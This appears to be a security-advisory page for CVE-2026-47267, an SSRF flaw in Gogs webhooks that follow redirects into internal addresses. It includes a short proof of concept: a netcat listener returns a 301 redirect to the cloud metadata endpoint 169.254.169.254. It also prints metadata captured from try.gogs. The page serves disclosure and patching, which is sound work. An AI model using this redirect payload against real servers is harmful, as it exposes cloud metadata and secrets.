CVE-2026-47267 is a high-severity (CVSS 8.3) Server-Side Request Forgery (SSRF) vulnerability in gogs.io/gogs. A fix is available for gogs.io/gogs — see the affected versions and patch details below.
Gogs: SSRF in webhook deliveries
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-47267.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-47267 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.
This was already communicated in the initial report but it looks like there was a bit of a miscommunication.
Details
By creating a webook pointing to any URL that will return the following:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close
It is possible to access 169.254.169.254
PoC
- Run netcat on any server
- Use this server as the webhook URL
- Once you get the request from the webhook (for example by testing it), copy the response above
Results from running this on try.gogs:
{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}
Impact
Server Side Request Forgery
Fix
The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.14.3go get gogs.io/gogs@v0.14.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gogs.io/gogs to 0.14.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47267 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-47267 in your dependencies?
Find it across Go, including transitive dependencies.